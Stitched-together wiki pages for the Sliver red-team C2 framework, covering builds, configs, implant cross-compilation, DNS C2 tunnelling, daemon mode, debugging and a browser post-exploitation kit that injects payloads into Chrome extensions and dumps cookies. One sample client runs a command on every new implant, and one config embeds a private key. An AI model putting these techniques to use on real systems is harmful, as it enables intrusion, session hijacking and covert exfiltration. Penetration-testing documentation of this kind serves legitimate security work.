The Docker build includes mingw and Metasploit, so it can take a while to build from scratch but Docker should cache the layers effectively. Sliver will also run it's unit tests as part of the build, and that takes a few minutes too.
### Windows Builds
**NOTE:** Starting with v1.1.0 in order to cross-compile Windows builds you'll need `mingw` on your system:
- Kali/Ubuntu/Debian `sudo apt install mingw-w64`
- MacOS `brew install mingw-w64`
If all you have is a Windows machine, the easiest way to build Sliver is using [WSL](https://docs.microsoft.com/en-us/windows/wsl/install-win10) and following the Linux/cross-compile instructions above. To cross-compile a native Windows binary use `make windows` and copy it to your Windows file system (i.e. `/mnt/c/Users/foo/Desktop`) and run it using a terminal that supports ANSI sequences such as the [Windows Terminal](https://github.com/microsoft/terminal).
## Developers
If you want to modify any of the `.proto` files you'll need to setup a few additional tools to regenerate the `.pb.go` files.
- Protoc v3.19.4 or later
- Protoc-gen-go v1.27.1
- Protoc-gen-go-grpc v1.2.0
#### `protoc`
First install your platform's version of `protoc` v3.19.4 or later:
https://github.com/protocolbuffers/protobuf/releases/latest
Ensure that correct `protoc` version is on your `$PATH`, you can check with a simple `protoc --version`
#### `protoc-gen-go` `protoc-gen-go-grpc`
Assuming `$GOPATH/bin` is on your `$PATH` simply run the following commands to install the appropriate versions of `protoc-gen-go` and `protoc-gen-go-grpc`:
```
go install google.golang.org/protobuf/cmd/[email protected]
go install google.golang.org/grpc/cmd/[email protected]
```
Ensure that these are both on your `$PATH` after running the commands, if not you probably need to add `$GOPATH/bin` to your `$PATH`. To regenerate the Protobuf and gRPC files run:
```
$ make pb
```
@@ -0,0 +1,86 @@
# Server Configuration
### General Server Configuration
Starting in version 1.0.0 the Sliver server has a configuration file located the `configs` sub-directory of the [`SLIVER_ROOT_DIR`](https://github.com/BishopFox/sliver/wiki/Environment-Variables#assets), by default this will be `~/.sliver/configs/server.json`. If no configuration file exists, a default configuration will be generated and written to disk on startup. The default configuration is shown below:
#### Default Server Config
```json
{
"daemon_mode": false,
"daemon": {
"host": "",
"port": 31337
},
"logs": {
"level": 4,
"grpc_unary_payloads": false,
"grpc_stream_payloads": false
}
}
```
#### Configuration Options
- `daemon_mode` - Enable [daemon mode](https://github.com/BishopFox/sliver/wiki/Daemon-Mode)
- `daemon` - An object containing options related to `daemon_mode`, these values are only used when `daemon_mode` is set to `true`.
- `host` - What network interface to bind the `daemon_mode` client listener to. By default this is an empty string, which indicates binding to all interfaces.
- `port` - TCP port to bind the `deamon_mode` client listener to.
- `logs` - An object containing configure options for server logs
- `level` - The `logrus` logging level (1 - 5), default this is set to `4`, which is the`INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
- `grpc_unary_payloads` - Log gRPC unary payloads
- `grpc_stream_payloads` - Log gRPC streaming payloads
## Database Configuration
Starting in version v1.1.0 Sliver supports SQL database configurations, by default this configuration file is located at `~/.sliver/configs/database.json`:
#### Default Database Configuration
```json
{
"dialect": "sqlite3",
"database": "",
"username": "",
"password": "",
"host": "",
"port": 0,
"params": null,
"max_idle_conns": 10,
"max_open_conns": 100,
"log_level": "warn"
}
```
#### Configuration Options
- `dialect` - Defines the type of database to connect to, Sliver supports `mysql`, `postgresql`, and `sqlite3`. By default an internal version of `sqlite3` is used, which is saved to `~/.sliver/sliver.db` by default.
- `database` - The name of the database to connect to, note that this option is ignored when using `sqlite3`.
- `username` - Database username.
- `password` - Database password.
- `host` - Database host.
- `port` - Database TCP port.
- `params` - Is a key/value string map that can be used to pass dialect specific options to the DSN/connection string. This can be used for example to enable SSL/TLS on certain database connections.
- `max_idle_conns` - Max idle connections in the database connection pool.
- `max_open_conns` - Max open connections in the database connection pool.
- `log_level` - Configures the log level for database logging, can be set to: `silent`, `error`, `warn`, or `info`. Default level is `warn`, note that setting this option to `info` may result in sensitive information being logged to disk!
# Client Configuration
### Operator
Client configurations must be generated by the server (they contain per-user key pairs). For more details see [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode), and example configuration is shown below. Client configuration files can be copied into `~/.sliver-client/configs/`:
```json
{
"operator": "moloch",
"lhost": "localhost",
"lport": 31337,
"ca_certificate": "-----BEGIN CERTIFICATE-----\nMIIBoTCCASegAwIBAgIRAPhwFTptJKJM4Bef71nA29YwCgYIKoZIzj0EAwMwCzEJ\nMAcGA1UEChMAMB4XDTIwMDExNDIyNTY1NloXDTIzMDExMzIyNTY1NlowCzEJMAcG\nA1UEChMAMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEmvGJZ8zDqLxge2PfhK1QcdOi\n6kEV8vgz/S1fSiU9h21JDVaX+FFhG2cYIzr1Q3zE2Ml+pUdnwUSk24pFFTUhjlsO\n4H2YQC/W46DXSa8VQdvpfDaTPYLzXuBhsdVcn2rdo08wTTAOBgNVHQ8BAf8EBAMC\nAqQwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA8GA1UdEwEB/wQFMAMB\nAf8wCwYDVR0RBAQwAoIAMAoGCCqGSM49BAMDA2gAMGUCMQDOj0sVrVoJSkN4qiqn\nS9wMFNeVOZ+5TVZOOpTn19nc4C/wq9jwdYRHW1dlmvWu2LMCMCm2y1TkaWLa/i4t\nArTCIiCmNVRxAR1xFsWama9yv7wFY0+5xKS7W944418v0jYJKA==\n-----END CERTIFICATE-----\n",
"private_key": "-----BEGIN EC PRIVATE KEY-----\nMIGkAgEBBDBido1KtKSwQah/WIoGkDZDX2WPXdexUVAmi0tf6Pd9vK5pfpt2II+n\n8BqkV0ifyjugBwYFK4EEACKhZANiAATHATh7e8uX/MN5mokguQf4ywXgTaihYD//\nyraEUcZAYsrCtDHmdAH356GPrxlPSpwyWhFV3fIQJKI2Hf/8/mAd3wqCGQQzq5Mt\ncM0B36+vP9wOGsTI/tc32+0glRZoxo8=\n-----END EC PRIVATE KEY-----\n",
"certificate": "-----BEGIN CERTIFICATE-----\nMIIBiTCCAQ+gAwIBAgIQZLa8QUXWDnuht3G9+g9yKTAKBggqhkjOPQQDAzALMQkw\nBwYDVQQKEwAwHhcNMTkwNzIyMjE1MzAzWhcNMjIwNzIxMjE1MzAzWjAcMQkwBwYD\nVQQKEwAxDzANBgNVBAMTBm1vbG9jaDB2MBAGByqGSM49AgEGBSuBBAAiA2IABMcB\nOHt7y5f8w3maiSC5B/jLBeBNqKFgP//KtoRRxkBiysK0MeZ0AffnoY+vGU9KnDJa\nEVXd8hAkojYd//z+YB3fCoIZBDOrky1wzQHfr68/3A4axMj+1zfb7SCVFmjGj6Mn\nMCUwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMCMAoGCCqGSM49\nBAMDA2gAMGUCMH0hbeghZfMkhp9Wf2a7eqj8IruwKH6vQql/6nxQ8aunfCUUxWo8\nOrxxaqp+bGCCCQIxAK5Icqww8m9llhprfzENaFZUCkpyvBMm9EB8B69SBFBHcVFm\n7bqHjFFMH39g2JCy9Q==\n-----END CERTIFICATE-----\n"
}
```
**Note:** The `operator` field in this configuration file only modifies the value displayed by the client when selecting configurations, modifying it will not change what name the server uses to identify the user. The server determines the user based on the `CommonName` in the certificate. If you want to change the user name you need to regenerate the client configuration with the new name.
@@ -0,0 +1,50 @@
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box, you only need cross-compilers when using `--format shared`.
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
Sliver v1.5.30 and later also support [External Builders](https://github.com/BishopFox/sliver/wiki/External-Builders), which can be used to easily cross-compile implants.
## From Linux to MacOS/Windows
To compile Windows shared library and shellcode implants from Linux, install mingw from your local package manager:
```
sudo apt install mingw-w64
```
To compile MacOS shared library implants from Linux, we recommend using https://github.com/tpoechtrager/osxcross by default Sliver will look in `/opt/osxcross` but you can override this via [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables). If you do not have a MacOS based machine you can use GitHub Actions' MacOS instances to build OSXCross.
**NOTE:** Sliver expects the root of the osxcross git repo to be located at `/opt/osxcross` and the actual binaries in `/opt/osxcross/target/bin`.
An example deployment is shown below, you have to procure the `MacOSX11.1.sdk.tar.xz` yourself due to license restrictions (see the OSXCross GitHub for more details):
```
sudo apt-get install -y git curl libssl-dev cmake liblzma-dev libxml2-dev patch clang zlib1g-dev
git clone https://github.com/tpoechtrager/osxcross.git /opt/osxcross
curl -o /opt/osxcross/tarballs/MacOSX11.1.sdk.tar.xz 'https://example.com/MacOSX11.1.sdk.tar.xz'
cd /opt/osxcross
UNATTENDED=1 ./build.sh
```
Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
## From MacOS to Linux/Windows
To compile Windows shared library and shellcode implants from MacOS install mingw from brew:
```
brew install mingw-w64
```
For Linux, we recommend `musl-cross` to target 64-bit Linux, which can be installed via brew:
```
brew install FiloSottile/musl-cross/musl-cross
brew install mingw-w64
```
I'm not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross compilers, once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross compiler location via the appropriate [environment variables](https://github.com/BishopFox/sliver/wiki/Environment-Variables).
## From Windows to MacOS/Linux
Good luck.
+47
View File
@@ -0,0 +1,47 @@
Cursed is a Chrome/Chromium/Edge/Electron post-exploitation tool kit introduced in Sliver v1.5.25, which integrates with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) (originally [Sliver Overlord](https://github.com/BishopFox/sliver-overlord)). It can automatically find existing Chrome Extensions with the required permissions for [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) and remotely inject it onto the target system, or you can start an interactive REPL to inject arbitrary code into any Chrome/Chromium/Edge/Electron context.
Since web requests and other activity originate from the target machine/browser instance, Cursed Chrome and the Cursed tool kit are excellent options for bypassing U2F/Webauthn, hardware attestation, and geo-IP restrictions in web applications.
## Cursed Chrome
The `cursed chrome` command can be used to restart a remote system's Chrome browser with remote debugging enabled. If no payload is specified using `--payload` the command will simply restart Chrome with remote debugging enabled, you can then use `cursed console` to interact with any debug target.
If a payload is specified, the command will restart Chrome with remote debugging, enumerate installed browser extensions, determine if any extension has the required permissions for [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome), and inject the payload into the extension's execution context.
So a typical workflow looks like:
1. Setup [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
2. Pop Sliver session, or go interactive from a beacon
3. `cursed chrome --payload background.js`
4. Upstream browser to CursedChrome proxy
5. Enjoy!
## Cursed Edge
Works identically to `cursed chrome` but the UI displays "Edge" instead of "Chrome" much like Edge itself.
## Cursed Electron
The `cursed electron` command can be used to restart an Electron application with remote debugging enabled, you can subsequently use `cursed console` to interact with any debug target. Note that some Electron applications disable the remote debugging functionality, which will prevent this feature from working.
## Cursed Console
The `cursed console` command can be used to start an interactive REPL with any cursed process. You will need to start a cursed process using `cursed chrome`, `cursed edge`, or `cursed electron` before using `cursed console`. You can list cursed processes using the `cursed` command. ![cursed](https://user-images.githubusercontent.com/875022/188246398-97e5c7dd-1c21-4aeb-a57e-222fda826e66.png)
## Cursed Cookies
Starting in v1.5.28 the `cursed cookies` command can be used to dump a remote cursed process' cookies to a local file (newline delimited json), for example:
```
[server] sliver (CHRONIC_GOAT) > cursed chrome
...
[server] sliver (CHRONIC_GOAT) > cursed cookies
? Select a curse: 44199 [Session 56a5cd6f] /Applications/Google Chrome.app/Contents/MacOS/Google Chrome
[*] Successfully dumped 437 cookies
[*] Saved to cookies-20220925182151.json
```
@@ -0,0 +1,108 @@
Although the `sliver-client` is the default way to interact with a `sliver-server` and with implant sessions, there might be a time where you would want to automate some tasks upon reception of certain events.
To do so, one case use [sliver-script](https://github.com/moloch--/sliver-script), [sliver-py](https://github.com/moloch--/sliver-py) or write a custom client in another language. As all the communications between the client and the server are based on gRPC, any language with gRPC support should in theory be used to create a custom client.
## Writing a Go client
In this example, we will focus on writing a custom Go client that executes a new system command on every new implant that connects to the sliver server.
Create a new Go project somewhere on your file system:
```
mkdir sliver-custom-client
cd sliver-custom-client
touch main.go
go mod init github.com/<your-username>/<your-project-name>
go get github.com/bishopfox/sliver
```
The module path (`github.com/<your-username>/<your-project-name>`) can be anything, as long as it respects the [requirements](https://golang.org/ref/mod#go-mod-init).
The next step is to write our client code (`main.go`):
```go
package main
import (
"context"
"flag"
"io"
"log"
"github.com/bishopfox/sliver/client/assets"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func makeRequest(session *clientpb.Session) *commonpb.Request {
if session == nil {
return nil
}
timeout := int64(60)
return &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
}
}
func main() {
var configPath string
flag.StringVar(&configPath, "config", "", "path to sliver client config file")
flag.Parse()
// load the client configuration from the filesystem
config, err := assets.ReadConfig(configPath)
if err != nil {
log.Fatal(err)
}
// connect to the server
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
log.Fatal(err)
}
log.Println("[*] Connected to sliver server")
defer ln.Close()
// Open the event stream to be able to collect all events sent by the server
eventStream, err := rpc.Events(context.Background(), &commonpb.Empty{})
if err != nil {
log.Fatal(err)
}
// infinite loop
for {
event, err := eventStream.Recv()
if err == io.EOF || event == nil {
return
}
// Trigger event based on type
switch event.EventType {
// a new session just came in
case consts.SessionOpenedEvent:
session := event.Session
// call any RPC you want, for the full list, see
// https://github.com/BishopFox/sliver/blob/master/protobuf/rpcpb/services.proto
resp, err := rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: `c:\windows\system32\calc.exe`,
Output: false,
Request: makeRequest(session),
})
if err != nil {
log.Fatal(err)
}
// Don't forget to check for errors in the Response object
if resp.Response != nil && resp.Response.Err != "" {
log.Fatal(resp.Response.Err)
}
}
}
}
```
Finally, run `go mod tidy` to make sure to have all the external dependencies, and run `go build .` to build the code.
That's it, you wrote your first custom client in Go for sliver.
+148
View File
@@ -0,0 +1,148 @@
DNS can be a finicky nuanced protocol, if you're unfamiliar with DNS and related concepts I'd recommending reading up on the protocol and ecosystem a bit before leveraging it for C2.
# Setup
Use the following steps to configure a domain for DNS C2 (and DNS Canaries), you can use any DNS provider you wish as long as you setup the records correctly. I recommend setting a TTL of ~5 minutes for each record.
1. Create an `A` record for your `example.com` pointing at your Sliver server (or redirector) IP address.
2. Create an `A` record for an `ns1` subdomain (i.e. `ns1.example.com`) that points to your Sliver server (or redirector) IP address.
3. Create an NS record with an arbitrary subdomain, for example `1` (i.e. `1.example.com`) which is managed by `ns1.example.com`.
4. You can now use `1.example.com` as your DNS C2 domain e.g. `generate --dns 1.example.com.` (always use the FQDN when issuing DNS commands).
**IMPORTANT:** Always use the FQDN when issuing DNS commands in the Sliver console (e.g., `1.example.com.` note the trailing `.`). DNS is a finicky protocol!
The final configuration should look like for the domain `lil-peep.rip`:
![DNS Configuration](https://i.imgur.com/hpOnGJp.png)
**IMPORTANT:** Remember to disable Cloudflare's "cloud" when configuring these records, and to adjust the TTLs.
### DNS Listeners
Make sure you have a DNS listener running, and to use the FQDN again. Sliver will not be able to correctly parse C2 traffic if the parent domain is misconfigured:
```
sliver > dns --domains 1.example.com.
[*] Starting DNS listener with parent domain(s) [1.example.com.] ...
[*] Successfully started job #1
```
### DNS Canaries
DNS Canaries are unique per-binary domains that are optionally inserted during the string obfuscation process. These domains are not actually used by the implant code and are deliberately _not obfuscated_ so that they show up if someone runs `strings` on the implant. If these domains are ever resolved (and you have a `dns` listener running) you'll get an alert telling which specific file was discovered by the blue team.
Example `generate` command with canaries, make sure to use the FQDN:
```
sliver > generate --http foobar.com --canary 1.example.com.
```
You can view previously generated canaries with the `canaries` command.
### Ubuntu
**NOTE:** On recent versions of Ubuntu, you may need to disable `systemd-resolved` as this binds to your local UDP:53 and messes up everything about how DNS is supposed to work. To use a sane DNS configuration run the following commands as root because `resolved` probably broke `sudo` too:
```
systemctl disable systemd-resolved.service
systemctl stop systemd-resolved
rm -f /etc/resolv.conf
vim /etc/resolv.conf
```
Add a normal `resolv.conf`:
```
nameserver 1.1.1.1
nameserver 8.8.8.8
```
# Under the Hood
**NOTE:** This describes the v1.5+ implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](https://github.com/BishopFox/sliver/wiki/Transport-Encryption), this is just about how do we move bytes back and forth.
### Design Goals
The current implementation of DNS C2 is primarily designed for "speed" (as far as DNS tunnels go) NOT stealth; it does not intend to be subtle in its use of DNS to tunnel data. While DNS can be a very useful protocol for stealthy signaling, Sliver here is creating a full duplex tunnels, doing so covertly would generally be far too slow to be practical. The general rule of thumb is that DNS C2 is easy to detect _if you look_. That's not to say DNS C2 isn't useful or will be immediately detected as is often no one looks. As DNS does not require direct "line of sight" networking, it is often useful for tunneling out of highly restricted networks, and if the environment has not been instrumented to specifically detect DNS C2 it will likely go undetected.
For example glossing over some details, if a DNS client attempts to `foo.1.example.com` it will query it's local resolver for an answer. If the resolver does not know the answer it will start "recursively" resolving the domain eventually finding its way to the "authoritative name server" for the domain, which is controlled by the owner of `example.com`. DNS C2 works by stuff data in a subdomain, and then sending a query for that subdomain to the authoritative name server.
```
[implant] <--> [resolver]
|<------> [.]
|<------> [.com.]
|<------> [example.com.] (attacker controlled)
```
This allows an implant to establish a connection to an attacker controlled host even when the implant cannot route TCP or UDP traffic to the internet. The tradeoff is that DNS queries are generally very small, in fact if we're lucky we can maybe encode around ~175 bytes per query (more on that later). So if you want to download a 2Mb file then we're gonna have to send _a lot of_ queries, this means that DNS communication is going to be _slow_ (~30Kbps) even at the best of times.
### Rude DNS Resolvers
The novice hacker often may think that something like DNS, being a fundamental building block of the internet, would be strictly defined and implemented. This of course could not be further from reality; the DNS protocol specification is really more what you call "guidelines" than actual rules. It is common for DNS resolvers to ignore TTL values, modify query contents, drop packets, and lie in responses. Since we cannot control what resolvers we may need use in an operational environment, and we want to build reliable C2 connections, we must expect this type of behavior and design around it.
### Encoder Selection
So if we want to build a "fast" DNS tunnel, we need to be able to pack as much data into each request as possible, more data per query the fewer queries we need to send for a given message.
So how much data can we stuff into a DNS query? Well let's take a look at what goes into a DNS query, a DNS query contains some header fields and then a "questions" section, a single query may contain multiple questions. For example, we can ask "is there an A record for example.com" (an A records contain IPv4 addresses). Now, we can encode a handful of bits into some of the header fields and a couple other sections like the Type/Class, but by far the largest field is `QNAME`, which contains the domain we're asking a question about:
```
1 1 1 1 1 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| |
/ QNAME /
/ /
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QTYPE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QCLASS |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
```
Thus we'll focus on encoding data into the `QNAME` (the domain), domains can be up to 254 characters in length and may only contain ASCII `a-z`, `A-Z`, `0-9`, `-`, but `-` may not appear at the beginning of a name, and of course `.` separators. Each subdomain is separated by a `.` and may be up to 63 characters in length. However, DNS is a case-insensitive protocol thus `a` and `A` are considered equal from DNS' standpoint. Now as I said before the spec is really more guidelines than rules, so both `a` and `A` are technically allowed they're just considered equal in DNS' semantics.
Now we want to send arbitrary binary data but DNS does not allow binary data in the `QNAME` so we need to encode binary data into the allowed character set. Typically of course to encode arbitrary binary data into ASCII we'd use [Base64](https://en.wikipedia.org/wiki/Base64) encoding, but DNS only allows 62 distinct characters (`a-z`, `A-Z`, `0-9`) so Base64 cannot be used. Additionally, we must consider that to Base64 `a` and `A` are distinct values whereas to DNS they are not. So it may not always be safe to use a case-sensitive encoding like Base64 if some rude resolver were to convert all the characters in one of our `QNAME`s to lower case. As far as DNS is concerned this is just fine, but it would corrupt the bytes decoded by the server.
To workaround this problem many DNS C2 implementations instead use hexadecimal encoding, which is not case-sensitive and uses only characters (`0-9`, `A-F`), which are allowed in a `QNAME`, to transfer data back and forth from the server. The issue with this is that hexadecimal is a very inefficient encoding, resulting in a x2 size (takes two bytes to encode one byte), and since we want to minimize the number of queries we need to send this isn't a great option. Instead we could use [Base32](https://en.wikipedia.org/wiki/Base32), which is also case-insensitive but uses more characters to display bytes and thus is more efficient at around x1.6 size. Even better yet would be [Base58](https://en.wikipedia.org/wiki/Binary-to-text_encoding#Base58), which is case sensitive like Base64 but only uses chars allowed in a `QNAME`, at a little over x1.33 message size, but we cannot always rely on being able to use Base58 if we encounter a rude resolver.
Sliver's solution to this problem is to first try to detect if Base58 can be used to reliably encode data, and if a problem is detected then fallback to Base32. I call this process "fingerprinting" the resolver.
### Fingerprinting Rude Resolvers
The most common DNS query is an `A` record asking for the IPv4 address associated with some domain name. An IPv4 address is a 4-byte value typically displayed as four octets in Base10 e.g. `192.168.1.1`, but to DNS this is just an arbitrary 4-byte (32-bit) value.
In order to detect if a resolver corrupted any bytes in our message the authoritative name server encodes the [CRC32](https://en.wikipedia.org/wiki/Cyclic_redundancy_check) of the data it received in the IP address of any `A` record that it receives. The implant first generates random bytes and then for each resolver on a host we try to resolve these random bytes and check to see if the CRC32 calculated by the server matches the CRC32 of the data we sent. If any mismatches occur Base32 is used instead of Base58.
### Bytes Per Query
Since the encoder used to send data is selected at runtime, as described above, the number of bytes that can be encoded into a query depends on both the length of the parent domain and the encoder selected. Therefore given some message of `n` bytes we must dynamically determine how many queries are needed to send the message.
First we calculate how many characters of the total domain can be used to encode data, which depends on the length of the parent domain. A maximum of 254 characters per domain always applies regardless of the number of subdomains. So for example we have more space leftover when using `1.abc.com` (254 - 9 = 245) vs. `a.thisisalongdomainname.com` (254 - 27 = 227), however we must also account for `.` every 63 characters, and the number of these may differ depending on the space leftover after the parent domain. The number of characters that can be used to represent data I call the "subdata space" (i.e., not counting the parent domain and `.`'s) and is calculated as:
```go
254 - len(parent) - (1 + (254-len(parent))/64)
```
This "subdata space" is the maximum number of characters our encoder (Base32 or Base58) can output per message. So the bytes per message are essentially `n` bytes encoded length must be equal to or less than the subdata space. Its important to note that adding a single byte input to either Base32 or Base58 may result in +2 output characters due to the inefficiencies in the encoders.
### Parallel Send/Recv
In addition to optimizing our use of encoders, we can also increase performance if we can send queries with encoded data out of order, or that is to say in parallel, since sending in parallel will most assuredly result in messages arriving at the server out of order.
To account for this, Sliver wraps the message of `n` bytes in a protobuf message that contains some metadata:
```protobuf
message DNSMessage {
DNSMessageType Type = 1; // An enum type
uint32 ID = 2; // 8 bit message id + 24 bit dns session ID
uint32 Start = 3; // These bytes of `Data` start at
uint32 Stop = 4; // These bytes of `Data` stop at
uint32 Size = 5; // Total message size (e.g. last message Stop = Size)
bytes Data = 6; // Actual data
}
```
This does result in some overhead, and we must account for this as part of the bytes-per-query math.
Since each message contains ordering and size data the server can now receive any part of the message in any order and sort/reconstruct the original message once all the pieces have been received.
@@ -0,0 +1,28 @@
Starting in v1.0.0 Sliver supports running in "daemon mode," which automatically starts a client listener (but not an interactive console). In order to connect to a server running in daemon mode you'll need to use [multiplayer mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode).
There are two ways to start the server in daemon mode:
1. Using the command line interface: `sliver-server daemon`
2. Set `daemon_mode` to `true` in the `configs/server.json` located in `SLIVER_ROOT_DIR` (by default: `~/.sliver/configs/server.json`). The listener can be configured via the `daemon` object. The process will respond gracefully to `SIGTERM` on Unix-like operating systems.
#### Example Config
```
$ cat ~/.sliver/configs/server.json
{
"daemon_mode": true,
"daemon": {
"host": "",
"port": 31337
},
"logs": {
"level": 5,
"grpc_unary_payloads": false,
"grpc_stream_payloads": false
}
}
```
#### systemd
With this config you can easily setup a [systemd service](https://www.linode.com/docs/quick-answers/linux/start-service-at-boot/) or init script. See the [Linux install script](https://github.com/BishopFox/sliver/wiki/Linux-Install-Script) for an example.
@@ -0,0 +1,99 @@
Debugging Sliver binaries (server, client and implant) can be done using the [delve](https://github.com/go-delve/delve) debugger. The following examples are specific to Visual Studio Code, but other IDEs using delve probably have similar configuration options.
Delve can be installed with the following command, note that you'll need `$GOPATH/bin` on your `$PATH`:
```
go install github.com/go-delve/delve/cmd/dlv@latest
```
For more details please see https://github.com/go-delve/delve/tree/master/Documentation/installation#installation
# Debugging the Server
Debugging the Sliver needs to be done via delve [remote debugging](https://github.com/golang/vscode-go/blob/master/docs/debugging.md#remote-debugging) feature. This means you need to first start the binary with the following command:
```
dlv debug \
--build-flags="-tags osusergo,netgo,go_sqlite,server -ldflags='-X github.com/bishopfox/sliver/client/version.Version=1.1.2 -X github.com/bishopfox/sliver/client/version.CompiledAt=Never -X github.com/bishopfox/sliver/client/version.GithubReleasesURL=github.com -X github.com/bishopfox/sliver/client/version.GitCommit=aabbcc -X github.com/bishopfox/sliver/client/version.GitDirty=Dirty'" \
--headless \
--listen=:2345 \
--api-version=2 \
--log \
github.com/bishopfox/sliver/server
```
To simplify things, you can add this command as a VSCode task, by adding the following to your [`.vscode/tasks.json` file](https://code.visualstudio.com/docs/editor/tasks):
```json
{
"label": "Run Debug Server",
"type": "shell",
"command": "dlv",
"args": [
"debug",
"--build-flags=\"-tags osusergo,netgo,go_sqlite,server -ldflags='-X github.com/bishopfox/sliver/client/version.Version=0.0.0 -X github.com/bishopfox/sliver/client/version.CompiledAt=Never -X github.com/bishopfox/sliver/client/version.GithubReleasesURL=https://api.github.com/repos/BishopFox/sliver/releases -X github.com/bishopfox/sliver/client/version.GitCommit=debug -X github.com/bishopfox/sliver/client/version.GitDirty=Dirty -X github.com/bishopfox/sliver/client/assets.DefaultArmoryPublicKey=RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L -X github.com/bishopfox/sliver/client/assets.DefaultArmoryRepoURL=https://api.github.com/repos/sliverarmory/armory/releases'\"",
"--headless",
"--listen=:8844",
"--api-version=2",
"--log",
"github.com/bishopfox/sliver/server"
],
"presentation": {
"echo": true,
"reveal": "always",
"focus": true,
"showReuseMessage": false,
"clear": true,
"panel": "new"
},
"problemMatcher": ["$go"]
}
```
Then, you need to create your `.vscode/launch.json` file containing the following:
```json
{
"version": "0.2.0",
"configurations": [
{
"name": "Debug Server",
"type": "go",
"request": "attach",
"mode": "remote",
"remotePath": "${workspaceFolder}",
"port": 8844,
"host": "127.0.0.1",
"trace": "log"
}
]
}
```
Once you're all set, start by running the `Run Debug Server` task, and then hit `F5` (or use the UI to start the debugging task).
# Debugging the Implant
To debug an implant, first make sure you built one by passing the `--debug` flag to the `generate` command. Then, add the following debug configuration to your `.vscode/launch.json` file:
```json
{
"name": "Debug Implant",
"type": "go",
"request": "attach",
"mode": "remote",
"remotePath": "",
"port": "REMOTE_PORT", // replace this
"host": "REMOTE_HOST" // replace this
}
```
The `REMOTE_HOST` and `REMOTE_PORT` placeholders will need to be replaced to match the ones you specified on your delve server.
You will need to install the delve debugger on the target host. Once installed, run the delve server using the `exec` mode on your generated implant binary:
```shell
dlv exec --api-version 2 --headless --listen REMOTE_HOST:REMOTE_PORT --log .\implant.exe
```
Once the server is running on your target, select the `Debug Implant` debug configuration in VSCode and click on `Run`.
@@ -0,0 +1,35 @@
### Assets
- `SLIVER_ROOT_DIR` - Override sliver root directory, the default is `~/.sliver/`
### Updates
- `SLIVER_NO_UPDATE_CHECK` - If set to any non-blank value, never check for updates
### Generate
#### Override All CC
- `SLIVER_CC_64` - Override all paths to 64 bit cross compiler
- `SLIVER_CC_32` - Override all paths to 32 bit cross compiler
#### Override Platform CC
- `SLIVER_WINDOWS_CC_64` - Override path to Windows 64 bit cross compiler
- `SLIVER_LINUX_CC_64` - Override path to Linux 64 bit cross compiler
- `SLIVER_DARWIN_CC_64` - Override path to MacOS 64 bit cross compiler
- `SLIVER_WINDOWS_CC_32` - Override path to Windows 32 bit cross compiler
- `SLIVER_LINUX_CC_32` - Override path to Linux 32 bit cross compiler
#### Override All CXX
- `SLIVER_CXX_64` - Override all paths to 64 bit cross compiler
- `SLIVER_CXX_32` - Override all paths to 32 bit cross compiler
#### Override Platform CXX
- `SLIVER_WINDOWS_CXX_64` - Override path to Windows 64 bit cross compiler
- `SLIVER_LINUX_CXX_64` - Override path to Linux 64 bit cross compiler
- `SLIVER_DARWIN_CXX_64` - Override path to MacOS 64 bit cross compiler
- `SLIVER_WINDOWS_CXX_32` - Override path to Windows 32 bit cross compiler
- `SLIVER_LINUX_CXX_32` - Override path to Linux 32 bit cross compiler
@@ -0,0 +1,92 @@
Starting in v1.5.30 Sliver supports "external builders," which allow a Sliver server to offload implant builds onto other systems. This can be used to increase platform support (e.g. connecting a MacBook to a Linux server to enable additional MacOS compiler targets) or increasing performance (e.g. having a low powered cloud host offload a local PC).
External builders can also be used to create custom modifications to the implant source code, or potentially replace the default Sliver implant entirely.
```
MacOS .dylib Implant Builds
┌─────────────────────────────────────┐
│ │
▼ │
┌───────────┐ ┌─────┴─────┐
│ MacOS │ Multiplayer │ Linux │
│ Builder ├────────────────────────►│ Server │
│ │ │ │
└───────────┘ └───────────┘
▲
┌───────────┐ │
│Windows │ Multiplayer │
│ Operator ├─────────────────────────────┘
│ │
└───────────┘
```
## Builders
#### Setup
Any `sliver-server` binary can be started as a builder process using [operator configuration files from multiplayer-mode](https://github.com/BishopFox/sliver/wiki/Multiplayer-Mode) from the server you want to connect the builder to, for example:
```
./sliver-server builder -c operator-multiplayer.cfg
```
When started as a builder, the Sliver process will mirror log output to stdout by default, however this can be disabled (see `sliver-server builder --help`).
